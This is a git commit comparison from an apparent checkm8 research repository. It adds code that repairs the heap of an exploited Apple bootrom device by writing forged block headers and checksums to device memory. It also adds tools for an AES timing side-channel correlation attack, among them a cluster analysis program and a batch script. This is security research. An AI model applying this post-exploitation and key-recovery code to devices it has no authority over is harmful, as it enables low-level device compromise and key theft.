Compare commits

...

10 Commits

Author SHA1 Message Date
621debcea3 Improve heap fixing (works now to get iBoot!) 2020-03-10 20:31:31 -04:00
d77df9b994 Reorder AES data 2020-03-10 20:31:03 -04:00
e844e2df34 Add a tool to verify that pairwise data maps to bernstein 2020-03-07 18:44:13 -05:00
4b361cccea correlation bugfixes 2020-03-05 10:28:05 -05:00
4de34e213e finish batch script 2020-03-03 16:13:04 -05:00
c058278f6f Add tool to analyze data 2020-03-03 16:04:39 -05:00
0a00de38a5 whoops 2020-02-28 16:52:13 -05:00
77641d45be fix file modes 2020-02-28 16:49:17 -05:00
55c1f08046 clean up 2020-02-28 16:30:01 -05:00
662c228b7e add a stripping tool and a random key experiment 2020-02-28 16:28:13 -05:00
18 changed files with 789 additions and 36 deletions

3
.gitignore vendored
View File

@@ -1,9 +1,10 @@
# configuration files
.idea/*
data/
# build directories
cmake-build-debug/
/c8_arduino/cmake-build-debug/
# generated files
/c8_remote/include/tool/libpayload.h
/c8_remote/include/tool/libpayload.h

View File

@@ -2,10 +2,10 @@ cmake_minimum_required(VERSION 3.10)
project(checkm8_tool)
enable_language(C ASM)
include(${CMAKE_ROOT}/Modules/ExternalProject.cmake)
include_directories(c8_remote/include)
include_directories(include)
add_subdirectory(c8_remote/lib)
# set up checkm8_remote
add_subdirectory(c8_remote)
# targets for external tools
add_subdirectory(tools)

View File

@@ -5,6 +5,7 @@ set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS "-g -Wall")
include_directories(include)
add_subdirectory(lib)
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
target_link_libraries(checkm8_remote usb-1.0 pthread udev m)

View File

@@ -40,6 +40,10 @@
#define ADDR_DEV_MEMALIGN 0x10000f380
#define ADDR_DEV_FREE 0x10000f1b0
#define ADDR_HEAP_COOKIE 0x180080640
#define ADDR_HEAP_BASE 0x1801b4000
#define ADDR_HEAP_END 0x1801fffc0
/* Misc */
#define ADDR_RANDOM_RET 0x10000b924
#define ADDR_SYNC_ENTRY 0x1800afc84

View File

@@ -12,11 +12,26 @@ struct event
struct aes_constants
{
unsigned char sbox[16][16];
unsigned char rc_lookup[11];
unsigned char mul2[256];
unsigned char mul3[256];
unsigned char rc_lookup[11];
} __attribute__ ((packed));
struct heap_header
{
unsigned long long chksum;
unsigned long long pad[3];
unsigned long long curr_size;
unsigned long long curr_free : 1;
unsigned long long prev_free : 1;
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
unsigned long long pad_start;
unsigned long long pad_end;
} header;
struct bern_data
{
double t[16][256];

View File

@@ -23,8 +23,6 @@ static const unsigned char sbox[256] =
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
};
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
static const unsigned char mul2_lookup[256] =
{
0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e,
@@ -65,14 +63,16 @@ static const unsigned char mul3_lookup[256] =
0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
};
static const unsigned char rc_lookup[11] = {0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c};
struct aes_constants *get_constants()
{
struct aes_constants *res = malloc(sizeof(struct aes_constants));
memcpy(res->sbox, sbox, sizeof(sbox));
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
memcpy(res->mul2, mul2_lookup, sizeof(mul2_lookup));
memcpy(res->mul3, mul3_lookup, sizeof(mul3_lookup));
memcpy(res->rc_lookup, rc_lookup, sizeof(rc_lookup));
return res;
}

View File

@@ -4,6 +4,7 @@
#include <string.h>
#include <stdlib.h>
#include <math.h>
#include <time.h>
#include "dev/types.h"
#include "util/experiments.h"
@@ -13,6 +14,7 @@
#include <stdarg.h>
#include <execinfo.h>
#include <dev/addr.h>
#endif
@@ -106,12 +108,26 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
unsigned char key[16];
unsigned char key_sched[176];
sprintf(dat_fname, "KEY");
outfile = fopen(dat_fname, "w+");
if(outfile == NULL)
{
printf("failed to open key file\n");
return;
}
srand(time(NULL));
for(i = 0; i < 16; i++)
{
msg[i] = 0;
key[i] = 0x0;
key[i] = random();
fprintf(outfile, "%02x", key[i]);
}
fprintf(outfile, "\n");
fflush(outfile);
fclose(outfile);
expand_key(key, key_sched, 11, c);
addr_async_buf = setup_corr_exp(dev, key);
@@ -121,7 +137,7 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
while(1)
{
sprintf(dat_fname, "%s_%i.bin", fname, iter);
outfile = fopen(dat_fname, "wb");
outfile = fopen(dat_fname, "wb+");
if(outfile == NULL)
{
printf("failed to open outfile\n");
@@ -160,24 +176,37 @@ void run_corr_exp(struct pwned_device *dev, char *fname)
fclose(outfile);
iter++;
if(iter == 46) break;
}
}
int main()
{
struct pwned_device *dev = exploit_device();
if(dev == NULL || dev->status == DEV_NORMAL)
{
printf("Failed to exploit device\n");
return -1;
}
fix_heap(dev);
demote_device(dev);
open_device_session(dev);
run_corr_exp(dev, "key00");
demote_device(dev);
fix_heap(dev);
usb_task_exit(dev);
close_device_session(dev);
// run_corr_exp(dev, "key00");
//
// uninstall_all_data(dev);
// uninstall_all_payloads(dev);
//
// // crash!
// execute_gadget(dev, 0, 0, 0);
free_device(dev);
return 0;
}

View File

@@ -398,37 +398,118 @@ int demote_device(struct pwned_device *dev)
int fix_heap(struct pwned_device *dev)
{
checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
int close;
struct heap_header block;
struct dev_cmd_resp *resp;
#if CHECKM8_PLATFORM == 8010
unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
unsigned long long calc_args[5];
int ret, i;
unsigned long long calc1_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9180, 0x1801b91a0, 32, 0x180080640};
unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
#if CHECKM8_PLATFORM == 8010
unsigned long long prev_sizes[3] = {0x840 / 0x40, 0x80 / 0x40, 0x80 / 0x40};
unsigned long long header_addr[3] = {0x1801b9180, 0x1801b9200, 0x1801b9280};
if(is_device_session_open(dev)) close = 0;
else
memset(&block, 0, sizeof(struct heap_header));
block.curr_size = (0x80 / 0x40);
block.pad_start = 0x80;
calc_args[0] = ADDR_CALC_CHKSUM;
//calc_args[1-2] block specific
calc_args[3] = 32;
calc_args[4] = ADDR_HEAP_COOKIE;
for(i = 0; i < 3; i++)
{
close = 1;
if(IS_CHECKM8_FAIL(open_device_session(dev)))
block.prev_size = prev_sizes[i];
resp = dev_write_memory(dev, header_addr[i], (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to open a device session\n");
return CHECKM8_FAIL_XFER;
checkm8_debug_indent("\tfailed to write block %i header\n", i);
return ret;
}
calc_args[1] = header_addr[i], calc_args[2] = header_addr[i] + 0x20;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate block %i checksum\n", i);
return ret;
}
}
dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
calc_args[0] = ADDR_CHECK_ALL_CHKSUMS;
dev_exec(dev, 0, 1, calc_args);
calc_args[0] = ADDR_CALC_CHKSUM;
dev_exec(dev, 0, 5, calc1_args);
dev_exec(dev, 0, 5, calc2_args);
dev_exec(dev, 0, 5, calc3_args);
unsigned long long curr = ADDR_HEAP_BASE;
while(1)
{
resp = dev_read_memory(dev, curr, sizeof(struct heap_header));
memcpy(&block, resp->data, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(close) close_device_session(dev);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to walk heap at %llx\n", curr);
return ret;
}
if(curr + block.curr_size * 0x40 == ADDR_HEAP_END)
{
block.curr_size -= 1;
resp = dev_write_memory(dev, curr, (unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write second-to-last block header\n");
return ret;
}
calc_args[1] = curr, calc_args[2] = curr + 0x20, calc_args[3] = 48;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate second-to-last block checksum\n");
return ret;
}
block.prev_free = block.curr_free;
block.prev_size = block.curr_size;
block.curr_free = 0;
block.curr_size = 1;
resp = dev_write_memory(dev, ADDR_HEAP_END - sizeof(struct heap_header),
(unsigned char *) &block, sizeof(struct heap_header));
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to write last block header\n");
return ret;
}
calc_args[1] = ADDR_HEAP_END - sizeof(struct heap_header);
calc_args[2] = ADDR_HEAP_END - sizeof(struct heap_header) + 0x20;
calc_args[3] = 32;
resp = dev_exec(dev, 0, 5, calc_args);
ret = resp->ret, free_dev_cmd_resp(resp);
if(IS_CHECKM8_FAIL(ret))
{
checkm8_debug_indent("\tfailed to calculate last block checksum\n");
return ret;
}
break;
}
curr += block.curr_size * 0x40;
}
#else
#error "Can't fix heap for unknown platform"

14
tools/CMakeLists.txt Normal file
View File

@@ -0,0 +1,14 @@
cmake_minimum_required(VERSION 3.10)
project(tools C)
set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS "-g -Wall -fopenmp")
include_directories(include)
add_executable(tool_strip correlation/strip/main.c)
add_executable(tool_analyze correlation/analyze/main.c)
add_executable(tool_verify correlation/verify/main.c)
target_link_libraries(tool_analyze host_crypto mpi m)
target_link_libraries(tool_verify host_crypto m)

View File

@@ -0,0 +1,35 @@
#!/bin/bash
#SBATCH -J correlate
#SBATCH -o corr.%j.out
#SBATCH -N 8
#SBATCH -n 8
#SBATCH -t 01:30:00
#SBATCH -p broadwell
NODEFILE=nodefile.txt
rank=0
echo $SLURM_NODELIST | tr -d c | tr -d [ | tr -d ] | perl -pe 's/(\d+)-(\d+)/join(",",$1..$2)/eg' | awk 'BEGIN { RS=","} { print "c"$1 }' > $NODEFILE
for node in `cat $NODEFILE`; do
ssh -n $node "[[ ! -f /tmp/ghaas/KEY ]] || mkdir -p /tmp/ghaas/ && tar -xf /home/ghaas/correlate/data00.tar.gz -C /tmp/ghaas" & pid[$rank]=$!
(( rank++ ))
done
rank=0
for node in `cat $NODEFILE`; do
echo "waiting on" $rank
wait ${pid[$rank]}
(( rank++ ))
done
prun ./analyze /tmp/ghaas
rank=0
for node in `cat $NODEFILE`; do
ssh -n $node "rm -r /tmp/ghaas" & pid[$rank]=$!
(( rank++ ))
done
rm $NODEFILE

View File

@@ -0,0 +1,323 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include <sys/stat.h>
#include <mpich/mpi.h>
#include <omp.h>
#include "host_crypto.h"
#define N_FILES 48
#define N_NODES 8
#define FILE_PER_NODE (N_FILES / N_NODES)
#define MSG_SEPARATE 1024 * 256
#define ANALYZE_DEBUG 1
int read_data(unsigned char *dst, char *fname, unsigned int offset, unsigned int num)
{
unsigned long ret;
FILE *datafile = fopen(fname, "rb");
if(ANALYZE_DEBUG)
printf("read_data(dst = %p, fname = %s, offset = %i, num = %i)\n", dst, fname, offset, num);
if(datafile == NULL)
{
printf("failed to open datafile %s\n", fname);
return -1;
}
ret = fread(&dst[offset], 1, num, datafile);
if(ret != num)
{
printf("reading %s failed with ferror %i, feof %i\n",
fname, ferror(datafile), feof(datafile));
return -1;
}
fclose(datafile);
return 0;
}
struct summary_stats
{
double mean;
double stddev;
};
struct summary_stats *calculate_stats(unsigned char *data,
unsigned int len, int mul, int offset,
int rank, int nodes)
{
int i;
double mean = 0, stddev = 0, temp;
struct summary_stats *res;
MPI_Status status;
/*
* First calculate the mean
*/
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(len, mul, offset) \
shared(data) \
reduction(+:mean)
for(i = 0; i < len; i++)
mean += (double) data[mul * i + offset];
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
mean += temp;
}
mean /= (len * nodes);
for(i = 1; i < nodes; i++)
MPI_Send(&mean, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
}
else
{
MPI_Sendrecv_replace(&mean, 1, MPI_DOUBLE,
0, 0, 0, 0,
MPI_COMM_WORLD, &status);
}
/*
* Then the standard deviation
*/
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(len, mul, offset, mean) \
shared(data) \
reduction(+:stddev)
for(i = 0; i < len; i++)
stddev += pow(data[mul * i + offset] - mean, 2);
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
stddev += temp;
}
stddev = sqrt(stddev / (len * nodes));
for(i = 1; i < nodes; i++)
MPI_Send(&stddev, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD);
}
else
{
PMPI_Sendrecv_replace(&stddev, 1, MPI_DOUBLE,
0, 0, 0, 0,
MPI_COMM_WORLD, &status);
}
res = malloc(sizeof(struct summary_stats));
res->mean = mean;
res->stddev = stddev;
return res;
}
int main(int argc, char *argv[])
{
int i, j;
unsigned int i_byte, i_input, i_key, i_key_split;
unsigned int trace_per_file = 0, msg_per_file = 0, num_traces = 0;
int rank, nodes;
char timing_name[256], msg_name[256];
struct stat timing_finfo, msg_finfo;
FILE *keyfile;
struct aes_constants *c;
unsigned char key[16], key_sched[176], msg_new[16], key_hyp;
double cov, pearson, temp;
struct summary_stats *timing_stats, *model_stats;
unsigned char *msg = NULL, *timings = NULL, *model = NULL;
MPI_Status status;
if(argc != 2)
{
printf("usage: analyze [data dir]\n");
return -1;
}
/*
* First, read in the data from each file
*/
if(ANALYZE_DEBUG)
printf("initializing MPI\n");
MPI_Init(&argc, &argv);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &nodes);
if(ANALYZE_DEBUG)
printf("getting initial sizes\n");
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank);
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank);
if(stat(timing_name, &timing_finfo) != 0)
{
printf("failed to stat %s\n", timing_name);
return -1;
}
if(stat(msg_name, &msg_finfo) != 0)
{
printf("failed to stat %s\n", msg_name);
return -1;
}
trace_per_file = timing_finfo.st_size;
msg_per_file = msg_finfo.st_size / 16;
num_traces = trace_per_file * FILE_PER_NODE;
if(ANALYZE_DEBUG)
printf("%i traces per file, %i msgs per file, %i total traces\n",
trace_per_file, msg_per_file, num_traces);
sprintf(timing_name, "%s/KEY", argv[1]);
keyfile = fopen(timing_name, "r");
if(keyfile == NULL)
{
printf("failed to open key file\n");
return -1;
}
for(i = 0; i < 16; i++)
{
fread(key_sched, 1, 2, keyfile);
key_sched[2] = 0;
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
}
fclose(keyfile);
if(ANALYZE_DEBUG)
printf("allocating memory\n");
// allocate memory (big!)
model = malloc(64 * num_traces);
msg = malloc(16 * num_traces);
timings = malloc(num_traces);
c = get_constants();
expand_key(key, key_sched, 11, c);
if(ANALYZE_DEBUG)
printf("beginning data read stage\n");
for(i = 0; i < FILE_PER_NODE; i++)
{
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
read_data(timings, timing_name, trace_per_file * (i % FILE_PER_NODE), trace_per_file);
read_data(msg, msg_name, msg_per_file * (i % FILE_PER_NODE), msg_per_file);
}
/*
* Then expand the messages so that we can create power models
*/
if(ANALYZE_DEBUG)
printf("beginning data expand stage\n");
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(key_sched, msg_per_file) \
private(msg_new, j) \
shared(msg, c)
for(i = 0; i < FILE_PER_NODE * msg_per_file; i++)
{
memcpy(&msg[i * MSG_SEPARATE], &msg[i], 16);
memcpy(msg_new, &msg[i * MSG_SEPARATE], 16);
for(j = 0; j < MSG_SEPARATE - 1; j++)
{
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
memcpy(&msg[i * MSG_SEPARATE + j + 1], msg_new, 16);
}
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
for(j = 0; j < 16; j++)
{
if(msg_new[j] != msg[(i + 1) * MSG_SEPARATE - 16 + j])
{
break;
}
}
}
/*
* Start iterating through the byte positions
*/
timing_stats = calculate_stats(timings, num_traces, 1, 0, rank, nodes);
for(i_byte = 0; i_byte < 16; i_byte++)
{
for(i_key_split = 0; i_key_split < 4; i_key_split++)
{
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(i_key_split, i_byte, num_traces) \
private(key_hyp, i_input) \
shared(model, msg) \
for(i_key = 0; i_key < 64; i_key++)
{
key_hyp = 4 * i_key_split + i_key;
for(i_input = 0; i_input < num_traces; i_input++)
{
//TODO: power model if this doesn't work
model[i_key * num_traces + i_input] = (msg[i_input * 16 + i_byte] ^ key_hyp) % 64;
}
}
for(i_key = 0; i_key < 64; i_key++)
{
model_stats = calculate_stats(model, num_traces, 1, i_key * num_traces, rank, nodes);
cov = 0;
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(num_traces, i_key) \
shared(model, model_stats, timings, timing_stats) \
reduction(+:cov)
for(i_input = 0; i_input < num_traces; i_input++)
{
cov += (model[i_key * num_traces + i_input] - model_stats->mean) *
(timings[i_input] - timing_stats->mean);
}
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
cov += temp;
}
cov /= (num_traces * nodes);
pearson = cov / (model_stats->stddev * timing_stats->stddev);
printf("%i\t%i\t%i\t%f\n", i_byte, i_key_split, i_key, pearson);
}
else
{
MPI_Send(&cov, 1, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD);
}
}
}
}
free(timing_stats);
}

View File

@@ -0,0 +1,83 @@
#include <stdio.h>
#include <string.h>
#include <libgen.h>
struct entry
{
unsigned char msg[16];
unsigned char pad0;
unsigned char timing;
unsigned char pad1[2];
} __attribute__ ((packed));
int main(int argc, char *argv[])
{
FILE *infile, *timingfile, *msgfile;
char fname[128], c1[128], c2[128], *path, *name;
strcpy(c1, argv[1]);
strcpy(c2, argv[1]);
int count = 0;
unsigned long read;
struct entry e;
if(argc != 2)
{
printf("usage: strip [fname]\n");
return -1;
}
path = dirname(c1);
name = basename(c2);
infile = fopen(argv[1], "rb");
if(infile == NULL)
{
printf("failed to open file %s\n", argv[1]);
return -1;
}
sprintf(fname, "%s/timing_%s", path, name);
timingfile = fopen(fname, "wb");
if(timingfile == NULL)
{
printf("failed to open timing output\n");
return -1;
}
sprintf(fname, "%s/msg_%s", path, name);
msgfile = fopen(fname, "wb");
if(msgfile == NULL)
{
printf("failed to open message output\n");
return -1;
}
while(!(ferror(infile) || feof(infile)))
{
read = fread(&e, sizeof(struct entry), 1, infile);
if(read != 1)
break;
fwrite(&e.timing, 1, 1, timingfile);
if(count % (1024 * 256) == 0)
{
fwrite(&e.msg, 16, 1, msgfile);
printf("stripped %i entries\n", count);
}
count++;
}
printf("strip finished with ferror %i feof %i\n", ferror(infile), feof(infile));
fflush(timingfile);
fflush(msgfile);
fclose(infile);
fclose(timingfile);
fclose(msgfile);
return 0;
}

View File

@@ -0,0 +1,147 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <math.h>
#include "host_crypto.h"
int main(int argc, char *argv[])
{
int b, i, j, k, l, num;
unsigned char timing;
unsigned char msg[16];
unsigned char key[16];
unsigned char key_sched[176];
struct aes_constants *c;
double t[16][256];
double tsq[16][256];
double tnum[16][256];
double u[16][256];
double udev[16][256];
double taverage;
unsigned long long count = 0, ttotal = 0;
FILE *keyfile, *msgfile, *timefile, *outfile;
char timing_name[256], msg_name[256], linebuf[256];
if(argc != 2)
{
printf("usage: verify [data dir]\n");
return -1;
}
sprintf(timing_name, "%s/KEY", argv[1]);
keyfile = fopen(timing_name, "r");
if(keyfile == NULL)
{
printf("failed to open key file\n");
return -1;
}
for(i = 0; i < 16; i++)
{
fread(key_sched, 1, 2, keyfile);
key_sched[2] = 0;
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
}
fclose(keyfile);
c = get_constants();
expand_key(key, key_sched, 11, c);
for(i = 0; i < 46; i++)
{
num = 0;
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], i);
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], i);
msgfile = fopen(msg_name, "rb");
if(msgfile == NULL)
{
printf("failed to open msgfile %s\n", msg_name);
return -1;
}
timefile = fopen(timing_name, "rb");
if(timefile == NULL)
{
printf("failed to open timing file %s\n", timing_name);
return -1;
}
printf("file %i\n", i);
for(j = 0; j < 375; j++)
{
fread(msg, 16, 1, msgfile);
fread(&timing, 1, 1, timefile);
printf("%i\t", num++);
for(k = 0; k < 16; k++)
printf("%02X", msg[k]);
for(k = 0; k < 1024 * 256; k++)
{
for(l = 0; l < 16; l++)
{
t[l][msg[l]] += timing;
tsq[l][msg[l]] += (timing * timing);
tnum[l][msg[l]] += 1;
count++;
ttotal += timing;
}
fread(&timing, 1, 1, timefile);
aes128_encrypt_ecb(msg, 16, key_sched, c);
}
printf(" -> ");
for(k = 0; k < 16; k++)
printf("%02X", msg[k]);
printf("\n");
}
fclose(msgfile);
fclose(timefile);
}
taverage = ttotal / (double) count;
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
u[j][b] = t[j][b] / tnum[j][b];
udev[j][b] = tsq[j][b] / tnum[j][b];
udev[j][b] -= u[j][b] * u[j][b];
udev[j][b] = sqrt(udev[j][b]);
}
}
sprintf(linebuf, "dat_%lli.dat", count / 16 / 100000);
outfile = fopen(linebuf, "w+");
if(outfile == NULL)
{
printf("failed to open data file\n");
return -1;
}
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
sprintf(linebuf,
"%2d %3d %lli %f %f %f %f\n",
j, b, (long long) tnum[j][b],
u[j][b], udev[j][b],
u[j][b] - taverage, udev[j][b] / sqrt(tnum[j][b]));
fputs(linebuf, outfile);
}
}
fclose(outfile);
}

View File

@@ -0,0 +1,20 @@
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
#define CHECKM8_TOOL_HOST_CRYPTO_H
struct aes_constants
{
unsigned char sbox[16][16];
unsigned char rc_lookup[11];
unsigned char mul2[256];
unsigned char mul3[256];
} __attribute__ ((packed));
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
struct aes_constants *get_constants();
#endif //CHECKM8_TOOL_HOST_CRYPTO_H